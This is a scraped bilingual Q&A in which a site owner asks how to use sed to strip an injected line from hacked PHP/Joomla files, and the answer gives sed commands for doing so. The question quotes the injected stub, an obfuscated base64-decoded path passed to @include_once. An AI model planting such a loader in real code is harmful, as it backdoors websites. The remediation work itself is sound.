用正则表达式删除sed的第一行 [英] Remove the first line with sed with a regular expression

查看:690
本文介绍了用正则表达式删除sed的第一行的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我想删除所有与下一个grep命令匹配的文件中的第一行:

  grep -Rl' < \?php / \ *<!-----。* / \?>'./ 

这些文件被黑了,我想删除这一行。
我尝试了几个带sed的命令,但没有结果,命令如下:
$ b $ $ p $ sed's / < \?php / \ *<!-----。* / \?> // g'./*

谢谢,最好的问候。



编辑。例如:

 <?php / *<!----- sSMiRuomIZgafwAFrWqzLk -----> * / $ SVjFIagfCmbDNLrO = BASE64_DECODE( L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX =); @include_once $ SVjFIagfCmbDNLrO; / *<!----- sSMiRuomIZgafwAFrWqzLk -----> * /?><?php 
defined('_ JEXEC')or die('Direct Access to this location is not allowed。');

/ **

只有从<?php /*.... to * /?>

解决方案



  sed -i.ORIG'1 { / YOUR_REGEX_PATTERN / d; }'INPUTFILES * 

这只适用于第一行,如果它匹配你的模式,删除它(原地备份,原始文件备份为 .ORIG 扩展名)。



更新:如果您只想删除第一行的某一部分:

 

sed -i.ORIG'1 {/ YOUR_REGEX_PATTERN / s / YOUR_REGEX_PATTERN //; }'INPUTFILES *

您的情况可能是:

  sed -i.ORIG'1 {/<?php \ / \ *。* \ /?> / s_<?php / \ * 。*<?php_<?php_; }'INPUTFILES * 

但是,这只适用于某些情况。在编码的字符串部分中可能会出现<?php ...(可能会出现...)。而sed不支持非贪婪和/或前瞻,后视正则表达式......


I want to remove the first line in all files that have match with the next grep command:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

These files were hacked and I want to remove this line. I tried with several commands with "sed" but with no result, commands like this:

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

Thanks, best regards.

Edit. Example:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

And only whant to remove from <?php /*.... to */?>

解决方案

What you want is:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

This operates only on the first line, and if it matches your pattern, deletes it (in place, and the original files are backed up with .ORIG extension).

Update:

If you only want to remove some part of the first line:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

In your case it might be:

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

But that will work only in some cases... e.g. the <?php could occur in the encoded string part... (might occur...). And sed does not support non greedy and/or look-ahead, look-behind regexes...

这篇关于用正则表达式删除sed的第一行的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆